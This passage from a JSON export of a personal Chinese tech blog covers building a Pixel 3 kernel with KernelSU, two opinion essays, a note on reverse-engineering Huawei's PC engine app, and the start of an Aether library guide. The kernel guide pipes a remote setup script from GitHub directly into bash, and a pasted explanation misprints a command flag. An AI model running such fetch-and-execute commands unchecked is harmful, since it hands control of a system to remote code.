~/bin/repo\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当然,不要忘记在$PATH这一环境变量内加入\u003ccode\u003e~/bin\u003c/code\u003e路径。\u003c/p\u003e\u003cp\u003e4.配置git\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egit config --global user.email \u0026quot;you@example.com\u0026quot; //你的邮箱地址\u003cbr\u003egit config --global user.name \u0026quot;Your Name\u0026quot; //你的昵称\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"编译\"\u003e\u003ca href=\"#编译\" class=\"headerlink\" title=\"编译\"\u003e\u003c/a\u003e编译\u003c/h3\u003e\u003ch4 id=\"初始化并clone源码\"\u003e\u003ca href=\"#初始化并clone源码\" class=\"headerlink\" title=\"初始化并clone源码\"\u003e\u003c/a\u003e初始化并clone源码\u003c/h4\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecd ~/android/pe //需要自己创建一个存储源码的工作目录\u003cbr\u003erepo init -u https://github.com/PixelExperience/manifest -b branch_name\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,repo init行的命令用于选定特定的分支,初始化一个配置文件,指导后续需要clone哪些库。\u003c/p\u003e\u003cp\u003e在完成初始化后,可以执行repo sync来同步源码,此时才会真正地开始clone。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003erepo sync -c -j$(nproc --all) --force-sync --no-clone-bundle --no-tags\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接下来是漫长的clone过程,国内的用户需要确保外网可用。有需要的话,可以自行去搜索如何配置代理。\u003c/p\u003e\u003ch4 id=\"配置ccache(可选)\"\u003e\u003ca href=\"#配置ccache(可选)\" class=\"headerlink\" title=\"配置ccache(可选)\"\u003e\u003c/a\u003e配置ccache(可选)\u003c/h4\u003e\u003cp\u003eccache用于加速构建,但是会占用一定的存储空间。有需要的话可以自行搜索相关教程。\u003c/p\u003e\u003ch4 id=\"拉取特定设备的相关文件及配置(重要)\"\u003e\u003ca href=\"#拉取特定设备的相关文件及配置(重要)\" class=\"headerlink\" title=\"拉取特定设备的相关文件及配置(重要)\"\u003e\u003c/a\u003e拉取特定设备的相关文件及配置(重要)\u003c/h4\u003e\u003cp\u003e首先,进行编译环境配置的初始化:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esource build/envsetup.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该脚本会自动配置需要的一些环境信息。\u003c/p\u003e\u003cp\u003e然后,需要进行设备必须依赖项的下载,如果选择不正确,或者不进行此操作会导致无法编译或者编译后无法boot。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003elunch aosp_blueline-userdebug\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以注意到\u003ccode\u003eaosp_blueline-userdebug\u003c/code\u003e,其实它的格式是\u003ccode\u003eaosp_设备别名-构建类型\u003c/code\u003e,设备别名需要自行查找官方的资料,构建类型可以选择\u003ccode\u003eeng\u003c/code\u003e(工程机,具有额外调试工具的开发配置)、\u003ccode\u003euserdebug\u003c/code\u003e(用户调试,与“user”类似,但具有 root 权限和调试功能;是进行调试时的首选编译类型)、\u003ccode\u003euser\u003c/code\u003e(权限受限;适用于生产环境)。\u003c/p\u003e\u003cp\u003e之后将进行相关内容的下载,如果第一行出现了找不到文件的报错,不必理会,命令将会自行下载缺失的文件。\u003c/p\u003e\u003ch4 id=\"开始编译\"\u003e\u003ca href=\"#开始编译\" class=\"headerlink\" title=\"开始编译\"\u003e\u003c/a\u003e开始编译\u003c/h4\u003e\u003cp\u003e如果前面的配置还有初始化过程没有问题的话,可以进行一键编译(需要注意的是该命令不止会编译出bootimg,是编译出android系统的全套内容,仅编译bootimg的话则把bacon改为bootimage即可):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecroot //返回源码树的顶部\u003cbr\u003emka bacon -j$(nproc --all)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(GPT生成的解释)\u003cbr\u003emka bacon -j$(nproc –all) 是一个在编译 Android ROM 时常用的命令。这个命令可以分解为以下几个部分:\u003c/p\u003e\u003cp\u003emka:这是一个封装了 make 命令的脚本,它设置了一些环境变量以便于 Android 的编译。\u003cbr\u003ebacon:这是一个目标,它告诉 make 命令需要编译的是完整的 Android ROM。在某些情况下,“bacon” 可能会被替换为其他的目标,例如特定设备的名称。\u003cbr\u003e-j$(nproc –all):这是传递给 make 命令的一个参数。-j 参数告诉 make 命令可以并行编译的任务数。$(nproc –all) 是一个 shell 命令,它返回当前系统的处理器核心数。因此,-j$(nproc –all) 的意思是让 make 命令并行编译,同时编译的任务数等于处理器的核心数。\u003cbr\u003e总的来说,mka bacon -j$(nproc –all) 的意思是使用所有可用的处理器核心并行编译完整的 Android ROM。\u003c/p\u003e\u003cp\u003e接下来则是漫长的编译时间。\u003c/p\u003e\u003ch4 id=\"产物提取\"\u003e\u003ca href=\"#产物提取\" class=\"headerlink\" title=\"产物提取\"\u003e\u003c/a\u003e产物提取\u003c/h4\u003e\u003cp\u003e产物在源码工作目录的out文件夹内,自行寻找即可。\u003c/p\u003e\u003ch4 id=\"加入kernelsu\"\u003e\u003ca href=\"#加入kernelsu\" class=\"headerlink\" title=\"加入kernelsu\"\u003e\u003c/a\u003e加入kernelsu\u003c/h4\u003e\u003cp\u003e以上内容中,我们已经完成了官方源码的初始化与编译,接下来进行kernelsu的加入。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eKernelSU 可以被集成到非 GKI 内核中,现在它最低支持到内核 4.14 版本;理论上也可以支持更低的版本。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于本文使用的内核版本是4.9.337,我们可以直接使用kernelsu提供的自动集成脚本。\u003c/p\u003e\u003cp\u003e在上文中clone的pe工作目录下,cd到kernel目录,然后运行:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecurl -LSs \u0026quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\u0026quot; | bash -\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ekernelsu便可自动集成在内核中,当然不要忘记在kernel\u0026#x2F;arch\u0026#x2F;configs\u0026#x2F;b1c1_defconfig中添加下述配置:\u003c/p\u003e\u003cfigure class=\"highlight makefile\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs Makefile\"\u003eCONFIG_KPROBES=y\u003cbr\u003eCONFIG_HAVE_KPROBES=y\u003cbr\u003eCONFIG_KPROBE_EVENTS=y\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再次按照上文提到的编译方式编译即可。\u003c/p\u003e\u003ch2 id=\"刷入\"\u003e\u003ca href=\"#刷入\" class=\"headerlink\" title=\"刷入\"\u003e\u003c/a\u003e刷入\u003c/h2\u003e\u003cp\u003e刷入则无需多言,直接进入fastboot,然后一顿\u003ccode\u003efastboot flash boot boot.img\u003c/code\u003e即可。注意刷入的slot是否为当前active的。\u003c/p\u003e\u003ch2 id=\"相关问题解决方案\"\u003e\u003ca href=\"#相关问题解决方案\" class=\"headerlink\" title=\"相关问题解决方案\"\u003e\u003c/a\u003e相关问题解决方案\u003c/h2\u003e\u003cp\u003e如果是使用完整AOSP构建的,只要是流程正确,一般来说是不会出错的。如果仅clone下来kernel则会遇到一些问题,这些问题下面进行解析。\u003c/p\u003e\u003cp\u003eTODO 有空再写。\u003c/p\u003e","url":"https://xiue233.github.io/2024/03/26/pixel3-kernelsu-build/"},{"title":"一分钱经济学(胡言乱语)","time":"2024-03-01T15:30:00Z","content":"\u003ch2 id=\"什么是一分钱经济学?\"\u003e\u003ca href=\"#什么是一分钱经济学?\" class=\"headerlink\" title=\"什么是一分钱经济学?\"\u003e\u003c/a\u003e什么是一分钱经济学?\u003c/h2\u003e\u003cblockquote\u003e\n\u003cp\u003e当然所谓的\u003ccode\u003e一分钱经济学\u003c/code\u003e完\u003chr /\u003e\u003ch2 id=\"什么是一分钱经济学?\"\u003e\u003ca href=\"#什么是一分钱经济学?\" class=\"headerlink\" title=\"什么是一分钱经济学?\"\u003e\u003c/a\u003e什么是一分钱经济学?\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e当然所谓的\u003ccode\u003e一分钱经济学\u003c/code\u003e完全是我自己取的名字,哈哈。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e你是否这么幻想过:如果全世界或者全中国\u003cstrong\u003e每个人\u003c/strong\u003e都给你\u003cstrong\u003e1分钱\u003c/strong\u003e,那么你将获得\u003cstrong\u003e千万巨款\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e又想着,如果每个人都给你1分钱,然后每个人都有享受被给予1分钱的权利,那么又变成了每个人得到巨额财富后又花出了。\u003c/p\u003e\u003cp\u003e对于第一个“成功”的幻想在当今社会中的应用,我称之为一分钱经济学,即:让很多人愿意为你做出少量的经济消费后量变引起质变。\u003c/p\u003e\u003ch2 id=\"为什么会有这种想法?\"\u003e\u003ca href=\"#为什么会有这种想法?\" class=\"headerlink\" title=\"为什么会有这种想法?\"\u003e\u003c/a\u003e为什么会有这种想法?\u003c/h2\u003e\u003cp\u003e你是否思考过?为什么之前会有这种“幼稚”的想法?我们不妨分析下内部的心理与经济原理。\u003c/p\u003e\u003cp\u003e首先,这个想法的最终目标是取得大收益,当最终收获巨大时,才会被称为野心;\u003c/p\u003e\u003cp\u003e其次,对于每一个用户来说进行这个消费行为的后果\u0026#x2F;付出是极小的,一次一分钱的支持对于极大多数人来说都是可以忽略不计的,这是支撑该想法的关键步骤。\u003c/p\u003e\u003cp\u003e综上,我们萌生这一个想法的基础逻辑是:让大部分人在我们的身上产生极小的消费,最终使我们得到巨量的回报。\u003c/p\u003e\u003cp\u003e因为是极小的消费,所以大部分人不会太在意这一消费行为;\u003cbr\u003e因为是极大的回报,所以我们在这一个想法上想入非非。\u003c/p\u003e\u003ch2 id=\"这一想法能否被实现?\"\u003e\u003ca href=\"#这一想法能否被实现?\" class=\"headerlink\" title=\"这一想法能否被实现?\"\u003e\u003c/a\u003e这一想法能否被实现?\u003c/h2\u003e\u003cp\u003e先说结论:是,这一想法已经有对应的实现。\u003c/p\u003e\u003cp\u003e思考一下,实现这一想法的关键是什么?显然是如何让大量用户产生这一消费行为。\u003c/p\u003e\u003cp\u003e凭什么人家愿意给你消费这一分钱?凭什么有这么多人愿意给你消费这一分钱?\u003c/p\u003e\u003cp\u003e显然,实现的关键就是解决回报的问题,而且是对大量用户产生充足的回报。\u003c/p\u003e\u003cp\u003e如果回报是物质的、传统的,那么就好比是反过来,好的情况下就如同第一部分所说的得到巨额财富后再“花”出去。根本原因是,回报是物质的、价值是有所属人的,会量变引起质变的。此时,就是一个正无穷大加上负的无穷小。\u003c/p\u003e\u003cp\u003e进而,可以发现,如果回报是非物质的,或者说只要是价值可以共有的,即可以满足。其可以被认为是:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e该回报的总价值趋于无穷大,可以被分配到无穷大的消费人群中,如:回报为某一知识或者情绪价值;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e该回报的价值非无穷大,但是生产这一回报的耗费区域无穷小,即可以向无穷大的消费人群生产无穷大的回报量,如:回报为某一虚拟物品(游戏充值电卷等)。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e显而易见,当下流行的短视频正是这一思路,其中用户的消费行为再次被抽象化、另类化:与其认为是广告投放商向视频平台支付了广告费用,不如说是用户购买了这一次的观看体验。即,流量的变现属于此一分钱理论的范畴,仍然是通过可创造的无穷大价值回报来得到每一个用户的1分钱。\u003c/p\u003e\u003cp\u003e如果收入水平低的人群,占据了大部分席位,我认为在市场经济下,消费与盈利的方式将由一分钱模型所支配。一个个经济的流动的背后,可能依仗着万万千千的一分钱消费。\u003c/p\u003e\u003cp\u003e胡言乱语结束。\u003c/p\u003e","url":"https://xiue233.github.io/2024/03/01/a-penny-economics/"},{"title":"随笔——中国当今社会下的原神社会现象","time":"2023-10-19T09:17:38Z","content":"\u003cblockquote\u003e\n\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cdel\u003e原来,你也玩原神!\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e作为一款“潮流游戏”,原神可谓是人尽皆知,在简中网络的抽象环境下,为什么原神脱颖而出,OP成为某一抽\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cdel\u003e原来,你也玩原神!\u003c/del\u003e\u003c/p\u003e\u003cp\u003e作为一款“潮流游戏”,原神可谓是人尽皆知,在简中网络的抽象环境下,为什么原神脱颖而出,OP成为某一抽象形象的代言词?\u003c/p\u003e\u003ch2 id=\"它是什么?\"\u003e\u003ca href=\"#它是什么?\" class=\"headerlink\" title=\"它是什么?\"\u003e\u003c/a\u003e它是什么?\u003c/h2\u003e\u003cp\u003e你说得对,但是原神(Genshin Impact)是米哈游….(省略一万字)\u003c/p\u003e\u003ch2 id=\"OP从哪里来?\"\u003e\u003ca href=\"#OP从哪里来?\" class=\"headerlink\" title=\"OP从哪里来?\"\u003e\u003c/a\u003eOP从哪里来?\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e妈妈生的\u003c/del\u003e\u003c/p\u003e\u003cp\u003e简中抽象的环境下,主要起因于过于逆天的原神用户,让其他人感觉到不适。\u003c/p\u003e\u003cp\u003e之后,用于群体攻击,造成AOE伤害。\u003c/p\u003e\u003cp\u003e在情绪挤压下,简中互联网环境存在很多情绪释放地,简称“厕所”,人有三急,该拉憋不住。\u003c/p\u003e\u003cp\u003e目前,OP也是特殊的街头厕所,可以不动脑子、不具有负罪感地进行排泄,从而缓解三急。\u003c/p\u003e\u003ch2 id=\"OP一词向什么地方发展?\"\u003e\u003ca href=\"#OP一词向什么地方发展?\" class=\"headerlink\" title=\"OP一词向什么地方发展?\"\u003e\u003c/a\u003eOP一词向什么地方发展?\u003c/h2\u003e\u003cp\u003e由前两条可以看出,OP形成历程是:\u003c/p\u003e\u003cp\u003e一部分惹人厌的人 –\u0026gt; 舆论发酵 –\u0026gt; 上升至某一个群体 –\u0026gt; 再次发酵,逐渐腌入味 –\u0026gt; 刻板印象+MAX –\u0026gt; …(循环)\u003c/p\u003e\u003cp\u003e既然,大家都需要上厕所,街头一个OP厕所可能不够用吗,那么就需要建立新的厕所。\u003c/p\u003e\u003cp\u003e新的厕所从哪里来?从之前的、现在的、未来可能的刻板印象中来,并且需要什么条件?刻板印象、用户群体发言权弱、无从争辩、选择上升的群体适当。\u003c/p\u003e\u003cp\u003e按照这个标准,人们上厕所才会上的大方、上的尽兴、上的爽快。\u003c/p\u003e\u003cp\u003e进而,大家接受街头上厕所后,便可能改变排泄这一行为,从生活所迫,变为娱乐所需。即,需要找任何理由去进行之间的攻击,不然无从释放在经济发展与身心发展不匹配的社会下的情绪积累。\u003c/p\u003e\u003cp\u003e综上,OP将不再只是OP,而是人人皆是OP,只需要上述条件,即可街头尽是厕所。当所有人都裸奔的时候,便不必在意衣着得体。\u003c/p\u003e\u003ch2 id=\"综述\"\u003e\u003ca href=\"#综述\" class=\"headerlink\" title=\"综述\"\u003e\u003c/a\u003e综述\u003c/h2\u003e\u003cp\u003e人人尽笑OP,人人尽是OP。\u003c/p\u003e\u003cp\u003e在抽象互联网时代,大部分人并不会分析好坏,只要来排泄的人多了,遍地尽是厕所。OP并不是一个人人格的浓缩,而是某一恶意人群某一行为在同群体下其他人身上的稀释。被沾染上排泄味道,或者,认为某处是有、应该有厕所的味道,那么他即是厕所,随着看客的增多,它也确实变成了厕所。\u003c/p\u003e\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e","url":"https://xiue233.github.io/2023/10/19/essay-genshin-phenomena-in-society/"},{"title":"平板PC引擎的研究(华为MatePad)#已咕咕咕","time":"2023-09-13T12:28:49Z","content":"\u003cp\u003e因为里面的东西基本上都写死了,没什么可玩性,就咕咕了,感兴趣可以自己去反编译一下,学习下实现的原理。\u003c/p\u003e\n\u003cp\u003e本文章,咕咕咕,不再完善了。\u003c/p\u003e\n\u003ch2 id=\"序言\"\u003e\u003ca href=\"#序言\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e\u003chr /\u003e\u003cp\u003e因为里面的东西基本上都写死了,没什么可玩性,就咕咕了,感兴趣可以自己去反编译一下,学习下实现的原理。\u003c/p\u003e\u003cp\u003e本文章,咕咕咕,不再完善了。\u003c/p\u003e\u003ch2 id=\"序言\"\u003e\u003ca href=\"#序言\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h2\u003e\u003cp\u003e因为华子的平板手写功能还算可以,在国内的平板里算是好的,价格也能接受,于是买了一个 Matepad11 2021 款。桌面上默认有一个 \u003ccode\u003eWPS for PC\u003c/code\u003e 图标,也就是所宣传的:自研PC引擎,打造PC级办公软件。打开后可以看到,是Linux下WPS的界面,在关于里面也确实写着是 \u003ccode\u003eWPS for Linux\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e那么PC引擎是怎么实现的呢?\u003c/p\u003e\u003ch2 id=\"切入点\"\u003e\u003ca href=\"#切入点\" class=\"headerlink\" title=\"切入点\"\u003e\u003c/a\u003e切入点\u003c/h2\u003e\u003cp\u003e要想研究它的原理,肯定是找到相关的代码实现最为靠谱。不妨简单分析一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e桌面上的图标被点击后是通过\u003ccode\u003eIntent\u003c/code\u003e调起应用,那么必定会先由Java层处理(即使是Native方法也是由JVM调起的),既然由Java层处理,那么在Android下必然会存在一个app来包含此操作;\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e2.同理,既然\u003ccode\u003eWPS for PC\u003c/code\u003e有桌面图标,则必定存在相关功能APP。\u003c/p\u003e\u003cp\u003e之后,打开应用管理,可以搜索到一个相关应用:《华为 PC 应用引擎》。\u003c/p\u003e\u003ch2 id=\"华为-PC-应用引擎-的APK分析\"\u003e\u003ca href=\"#华为-PC-应用引擎-的APK分析\" class=\"headerlink\" title=\"华为 PC 应用引擎 的APK分析\"\u003e\u003c/a\u003e华为 PC 应用引擎 的APK分析\u003c/h2\u003e\u003cp\u003e话不多说,apktool伺候,简单的\u003ccode\u003ejava -jar apktool.jar d pc_engine.apk\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"实现原理简单分析\"\u003e\u003ca href=\"#实现原理简单分析\" class=\"headerlink\" title=\"实现原理简单分析\"\u003e\u003c/a\u003e实现原理简单分析\u003c/h3\u003e\u003cp\u003e实际上就是在根目录下建了个文件夹,通过\u003ccode\u003eiSula容器引擎\u003c/code\u003e实现了一个Linux容器,在里面利用Remote Desktop Procotol实现界面的展示。\u003c/p\u003e\u003ch3 id=\"相关代码\"\u003e\u003ca href=\"#相关代码\" class=\"headerlink\" title=\"相关代码\"\u003e\u003c/a\u003e相关代码\u003c/h3\u003e\u003ch4 id=\"启动-HslDaemon\"\u003e\u003ca href=\"#启动-HslDaemon\" class=\"headerlink\" title=\"启动 HslDaemon\"\u003e\u003c/a\u003e启动 HslDaemon\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-type\"\u003eIntent\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eintent2\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIntent\u003c/span\u003e();\u003cbr\u003eintent2.setFlags(\u003cspan class=\"hljs-number\"\u003e268435456\u003c/span\u003e);\u003cbr\u003eintent2.setComponent(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eComponentName\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsl\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsl.MainActivity\u0026quot;\u003c/span\u003e));\u003cbr\u003e\u003cspan class=\"hljs-type\"\u003eBundle\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ebundle\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eBundle\u003c/span\u003e();\u003cbr\u003ebundle.putString(\u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsldaemon.appName\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;HslDaemon\u0026quot;\u003c/span\u003e);\u003cbr\u003eintent2.putExtras(bundle);\u003cbr\u003eactivity.startActivity(intent2)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://xiue233.github.io/2023/09/13/pc-engine-in-huawei-matepad/"},{"title":"Aether使用指南(主体功能概述)","time":"2023-09-09T14:42:41Z","content":"\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/05/aether-in-android/\" title=\"Aether在Android中的适配探索\"\u003eAether在Android中的适配探索\u003c/a\u003e》\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e本文所用Aether版本为1.1.0。\u003c\u003chr /\u003e\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/05/aether-in-android/\" title=\"Aether在Android中的适配探索\"\u003eAether在Android中的适配探索\u003c/a\u003e》\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e本文所用Aether版本为1.1.0。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"Get-Started\"\u003e\u003ca href=\"#Get-Started\" class=\"headerlink\" title=\"Get Started\"\u003e\u003c/a\u003eGet Started\u003c/h2\u003e\u003cp\u003eAether作为一个具有依赖注入(Dependency Injection)设计思想的库,它的主体System只能接受所依赖工具的interface实现,所以我们在调用前需要完成所需工具类的初始化(或是指定类,由Aether进行主动实例化)。\u003c/p\u003e\u003cp\u003eAether提供了\u003ccode\u003eorg.apache.maven.repository.internal.MavenRepositorySystemUtils\u003c/code\u003e工具类以方便快速配置,虽然但是,我们仍需创建一个Factory来封装完整的初始化逻辑。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.repository.internal.MavenRepositorySystemUtils;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.connector.wagon.WagonProvider;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.connector.wagon.WagonRepositoryConnectorFactory;\u003cbr\u003e\u003cbr\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystem \u003cspan class=\"hljs-title function_\"\u003enewRepositorySystem\u003c/span\u003e\u003cspan 